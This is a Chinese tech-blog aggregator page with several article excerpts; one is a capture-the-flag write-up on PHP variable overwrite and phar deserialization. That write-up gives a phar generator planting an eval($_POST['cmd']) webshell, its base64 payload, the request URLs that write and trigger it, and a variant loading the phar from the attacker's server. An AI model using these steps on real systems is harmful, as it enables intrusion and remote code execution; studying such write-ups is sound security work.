首页 文章 精选 留言 我的

精选列表

搜索[TDP云声计划],共10000篇文章
优秀的个人博客,低调大师

微软 Edge 将采用与 Chrome 相同的四周更新计划

从今年 9 月开始,微软 Edge 的更新速度将加快。跟随 Google Chrome 浏览器的脚步,微软 Edge 将采用新的更新时间表,即每四周推出一次更新。 在微软发布的一篇简短的文章中,微软确认将把 Edge 切换到本月早些时候宣布的 Chrome 的新更新时间表上。正如 Google 提到的那样,新的时间表可以更快地推出新功能,也可以更快地进行安全和错误修复。 微软表示,这一变化将随着 Edge 94 版本的发布而生效,根据公开的时间表,Edge 94 版本将在 9 月 1 日发布测试版,9 月 23 日发布稳定版。这与 Google 的目标时间表大致相同,Google Chrome 94 也将是首个以四周为周期更新的版本,而初步的时间表显示,Google 将于 9 月 21 日发布稳定版。微软也将和 Google 一样,以八周为周期向拥有托管环境的客户提供的"扩展稳定版"。 从 Edge 94 稳定版开始,微软 Edge 将转向以四周为周期的发布节奏。然而我们认识到,管理复杂环境的企业客户需要更多的时间来规划和测试 Edge 更新。为了帮助那些需要延长时间来管理更新的企业客户,Edge 将提供一个扩展稳定选项,将以更长的八周时间为主要发布周期,这个选项将只适用于管理环境的客户。 当然,这并不意外。Edge 浏览器和 Chrome 浏览器一样,其采用的内核也是 Chromium。任何基于 Chromium 的浏览器如果不采用这个新的时间表,很快就会与 Chrome 浏览器处于不同的版本号上,这会导致它们在功能、稳定性和安全性上均落后于 Chrome。

优秀的个人博客,低调大师

老赛棍寒假复习计划——反序列化篇(一)

本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目 本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。) xnuca个人赛题目解析 复现环境: 链接:https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A 提取码:7ryd 复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享 寒假难得有时间把这一年的比赛题目都好好整理一下,首先来的是xnuca个人赛的一道题目,比较新颖,属于中等难度的web phar写入和反序列化题目,貌似在其之后的DASCTF也考察了类似的知识点,因为时间实在久远,加上xnuca当时的一小部分源码实在是找不到了,就借用了DASCTF的部分代码来进行讲解,解题方式是一样的。 这道题目首先需要通过变量覆盖来利用file_get_contents读取template.php,然后通过template.php写入phar进行反序列化。 考点一:变量覆盖 首先是一个index.php <?php error_reporting(E_ALL); $sandbox = './' . md5($_SERVER['REMOTE_ADDR']); if(!is_dir($sandbox)) { mkdir($sandbox); } include_once('template.php'); $template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl'); if(isset($_GET['var']) && is_array($_GET['var'])) { extract($_GET['var'], EXTR_OVERWRITE); } else { highlight_file(__file__); die(); } if(isset($_GET['tp'])) { $tp = $_GET['tp']; if (array_key_exists($tp, $template) === FALSE) { echo "No! You only have 3 template to reader"; die(); } $content = file_get_contents($template[$tp]); $temp = new Temp($content); } else { echo "Please choice one template to reader"; } ?> extract变量覆盖。原理是:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。 正常的用法通常用于把数组的值转化为变量,就好像把数组一个个解压出来成为变量一样,是不是很像extract的意思: <?php $a = "Original"; $my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 这样就会把数组$my_array里面的键值和对应键名组合成为一个变量,等同于再次赋值 以前ctf考察的点基本都是如下形式的变量覆盖: extract($_GET); 关于这个地方变量覆盖的原理,就要提到一个很关键的基础知识点,$GET,$POST,$REQUEST这三个全局变量的类型是数组(不信的话自己var_dump一下),实际上我们通过get输入的变量名会成为$GET数组里的键名,输入的变量值会成为$GET里的键值,因此extract函数才会由我们的get输入接收到了$GET这个数组,从而产生了变量覆盖。 本题目的写法为: extract($_GET['var'], EXTR_OVERWRITE); EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 这个地方乍一看好像是说$_GET['var']这个变量,而不是数组,但是之前也有考察过如果通过get或者post方式输入一个数组的ctf题(没错,就是绕过md5比较的php黑魔法),只要我们在get或者post输入的变量的后面加上[],就代表我们输入的是一个数组。 例如下面就代表我们输入了一个数组 http://IP?var[]=a 把$_GET变量全dump出来为: array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } } 说白了,就是把$_GET这个数组变量里键名为var的这个元组的键值设置为了一个数组,这个数组是: array(1) { [0]=> string(1) "a" } 所以实际上我们还是可以通过题目中的 extract($_GET['var'], EXTR_OVERWRITE); 来进行变量覆盖。例如: http://IP/?var[template][tp1]=aaa 这样就能将已经赋值过的template变量重新赋值为一个只含有一个元组且键名为tp1的数组 之前 array(3) { ["tp1"]=> string(7) "tp1.tpl" ["tp2"]=> string(7) "tp2.tpl" ["tp3"]=> string(7) "tp3.tpl" } 之后 array(1) { ["tp1"]=> string(3) "aaa" } 这里很多人有个误区:为啥不是单独覆盖template数组里的一个tp1,而是覆盖了全部呢? 因为?var[template][tp1]=aaa 等同于输入了 $template=array('tp1'=>'aaa'); 而不是 $template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl'); 所以是全部覆盖 我们看到第一个文件index.php里面还有一个file_get_contents,想到可以文件读取。 if(isset($_GET['tp'])) { $tp = $_GET['tp']; if (array_key_exists($tp, $template) === FALSE) { echo "No! You only have 3 template to reader"; die(); } $content = file_get_contents($template[$tp]); $temp = new Temp($content); } else { echo "Please choice one template to reader"; } 思路: $template[$tp]为我们要读取的文件名 $_GET["tp"] ——> $tp可控 array_key_exists判断$tp在$template数组中是否存在 存在则读取$template[$tp]指向的文件 所以我们 ?vartemplate=文件名&tp=a 这样template数组就剩一个a,然后他的值为我们要读取的文件名,然后tp等于a,读取$template[$tp]所指向的文件,也就是$template['a'],即我们变量覆盖进去的文件名。 访问得到 u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html 访问一下路径看到template.php源码,这里file_get_content读取到的并不是直接显示,而是被template.php写入到了某个地方,但是这个算是第一步的提示,直接访问就看到了template.php的源码,读完以后也会更理解整个过程。 <?php error_reporting(0); class Temp { public $suffix; public $content; public $pattern; public function __construct($content) { $this->content = $content; $this->pattern = "/{{([a-z]+)}}/"; $this->suffix = ".html"; } public function __destruct() { $this->render(); } public function render() { while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else { break; } } if(strlen($this->suffix)>5) { echo "error suffix"; die(); } $filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "u can see ur html file in " . $filename; } } ?> 最关键的方法是我们的render(因为另外两个一个是构造方法用来给三个属性赋值,一个是析构方法用来触发render) 他做了两件事情 模板变量替换 while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else { break; } } 这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容" 可能乍一看看不懂,没事我们来分析: 也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到方法中,并且用这个全局变量的值去替换$content的值。 例如搭建一个本地环境 当你输入http://ip?content={{a}},则返回如下结果 匹配输入,含有{{([a-z]+)}},其中$matches为 Array ( [0] => {{a}} [1] => a ) global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render方法内,所以为了使用方法外的全局变量,得加一个global global ${$matches[1]}; #探测外部是否有需要名字为$matches[1]的变量, 然后preg_replace将content里的$matches[1]给替换为那个变量的值 实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。 说白了就是,这段代码或者这道题应该是某个真实的cms上的代码阉割的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:) 写入文件 render做的第二件事情就是写入文件 首先给出了一个限制: if(strlen($this->suffix)>5) { echo "error suffix"; die(); } 这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。 真正写文件的的代码在这里: $filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "u can see ur html file in " . $filename; 这里思路 自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码 变量覆盖,然后file_get_content读取我们输入的data流,然后被写入 file_get_contents触发phar phar文件: <?php class Temp { public $suffix; public $content; public $pattern; } @unlink("phar.phar"); #固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar->addFromString('test.txt','test'); //添加要压缩的文件 #实例化和修改属性的主要代码 $object = new Temp(); $object->suffix=".php"; $object->content="<?=eval(\$_POST['cmd']); "; $object->pattern="{{([a-z]+)}}"; #固定老两句 $phar->setMetadata($object); //将自定义meta-data存入manifest $phar->stopBuffering(); 读取文件内容的base64可以用如下方式: 先php运行exp.php,生成phar.phar文件。 php -a 进入php交互式界面。 php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar"); R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5+NDuEWOECAAAAR0JNQg== 然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符 第一步 http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn%2FYpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5%2BNDuEWOECAAAAR0JNQg%3D%3D&tp=tp1 回显 u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html 第二步 通过file_get_contents触发phar http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1 回显 u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php 第三步 http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php 就是写入的webshell 这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用data://协议写入,因为file_get_contents没有限制不能读取外部文件 http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1 但是xnuca他个人赛的时候没有网络,所以这个方法行不通,但是DASCTF可以用这个方法。 总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过data://流写入是关键。

优秀的个人博客,低调大师

Ubuntu 创始人计划恢复 Ubuntu 社区委员会

Ubuntu 创始人 Mark Shuttleworth上周就社区内部出现的分歧和部分角色的不确定性发表了看法。经过周末的思考,Mark 现在决定努力恢复 Ubuntu 社区委员会。 虽然 Ubuntu 社区委员会此前已经逐渐消失,而且其他人对于参与者的动机也有不同的看法,但人们现在又重新对社区委员会的存在产生了一些兴趣。多年前社区委员会尚在运作的时候,它形成了 Ubuntu 项目的主要社区治理机构。历史上,委员会成员由 Mark Shuttleworth 任命,并需要通过Ubuntu 成员的批准,他们每两周会在 IRC 上开会讨论问题并采取行动。 Mark Shuttleworth 宣布他将与 Ubuntu 成员 Walter Lapchynski(前社区委员会成员)合作,共同努力恢复社区委员会,Mark 写道:“周末考虑了恢复社区委员会这件事后,Walter 提供了帮助推动的建议,在他的帮助下,我们会继续征集社区委员会的提名。如果大家能在9月剩下的时间里把提名直接提交给 Walter,我会像往常一样在10月的第二周进行审查并发布入围名单,这意味着我们可以在10月中旬建立一个新的社区委员会。” Mark 认为即便这个委员会不是特别活跃也值得成立,因为对于那些确实想推动事情发展的人来说,这是一个很好的机会。有很多好的工作正在进行,如果能有委员会来支持和推动这些工作,对社区和大家来说都是件好事。

优秀的个人博客,低调大师

Arm 计划将 SLS 补丁反向移植到 GCC 10 和 GCC 9

6 月份,Google 的 SafeSide 小组在 ARM 处理器的 Armv8-A(Cortex-A)CPU 体系结构中发现了一个名为 Straight-Line Speculation(SLS)的新漏洞(CVE-2020-13844),该漏洞可导致攻击者对ARM架构处理器进行侧信道攻击。彼时,Arm对该漏洞进行了披露,不过并未引起公众太大的关注。 目前,该 SLS漏洞似乎已经变得愈发严重起来。Arm方面正在着手将 GCC 11 开发代码中的缓解措施反向移植到 GCC 10 甚至是 GCC 9。Arm的一位工程师已经发布了一个 SLS补丁程序,该补丁程序将反向移植到 GCC 9,而 GCC 10 的补丁则预计将在 GCC 10.2 发布后出现。 Arm 于本月初将其最初的 SLS 缓解措施合并到了 GCC Git 中,涵盖RET 和 BR 指令。用户现下可通过编译器在易受攻击的指令周围插入speculation barrier(SB)指令来缓解 SLS。不过Arm方面表示,其不建议默认情况下启用这些基于编译器的缓解措施,理由是过度使用 SB 指令会对性能造成影响。 可以通过-mharden-sls=来启用 GCC 的 Arm SLS 缓解。其中值为“all”时,可缓解所有易受攻击的指令,为“retbr”时则仅在 RET 和 BR 指令上插入speculation barrier,而“blr”只用于缓解 BLR usage。当前,此 Arm SLS 缓解措施尚不支持 per-function basis 缓解。

优秀的个人博客,低调大师

NOIP-C++大神培养计划 实战篇——时间复杂度

时间复杂度是同一问题可用不同算法解决,而一个算法的质量优劣将影响到算法乃至程序的效率。算法分析的目的在于选择合适算法和改进算法。 计算机科学中,算法的时间复杂度是一个函数,它定性描述了该算法的运行时间。这是一个关于代表算法输入值的字符串的长度的函数。时间复杂度常用大O符号表述,不包括这个函数的低阶项和首项系数。使用这种方式时,时间复杂度可被称为是渐近的,它考察当输入值大小趋近无穷时的情况。 以上词条来自百度百科QAQ 我们在上一课中说到了O(n),O(n^2)的算法,是什么意思呢?在一台一般计算机中,一秒钟可以计算2.5*10^7次,O(…)就表示算法要计算的总数。 比如说O(n),这里的n是数据的最大值。假设1<=n<=10^6,那么O(n)就是10^6。在我们考试时,题目总数中会说,时限1s,这就是告诉你,时间复杂度O(…)不能超过2.5*10^7。 for(int i=1;i<=n;i++)O(n)算法,有m层循环,复杂度就是O(n^m)。 还有一种很常见的复杂度:O(log n)。log是自然对数,这里与数学上有所不同,log的底数默认为2,log(1024)就是10。 我们在看到一道题目的数据范围时,就应该想到算法的复杂度。一般来说,为了增加难度,题目会将数据范围出到最大,于是,我们来终结一下规律:数据范围-----------算法10^0~10^2 额,啥都行吧,一般没有这么水的数据10^3 O(n^2 log n)10^4 O(n log2 n)10^5~10^7 O(n)或O(n log n) 既然我们知道了时间复杂度,我们就要重视它,以后的每一道题我都会给大家介绍它的算法复杂度,让大家建立起时间复杂度的思维,对做题有很大的帮助。推荐一个大佬博客https://blog.csdn.net/qq_41523096/article/details/82142747可惜是Java语言的,我来把它翻译成C++ 场景1:T(n) = 3n,执行次数是线性的。 void eat1(int n) { for(int i=0; i<n; i++) { cout<<"等待一天"<<endl; cout<<"等待一天"<<endl; cout<<"吃一寸面包"<<endl; } } 场景2:T(n) = 5logn,执行次数是对数的。 void eat2(int n) { for(int i=1; i<n; i*=2) { cout<<"等待一天"<<endl; cout<<"等待一天"<<endl; cout<<"等待一天"<<endl; cout<<"等待一天"<<endl; cout<<"吃一半面包"<<endl; } } 场景3:T(n) = 2,执行次数是常量的。 void eat3(int n) { cout<<"等待一天"<<endl; cout<<"吃一个鸡腿"<<endl; } 场景4:T(n) = 0.5n^2 + 0.5n,执行次数是一个多项式。 void eat4(int n) { for(int i=0; i<n; i++) { for(int j=0; j<i; j++) { cout<<"等待一天"<<endl; } cout<<"吃一寸面包"<<endl; } } 今天的实战篇就到这里结束了,我们下节课将讲到排序算法,我们明天见! 如果大家有问题或者想和我讨论,我很乐意为您解答

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册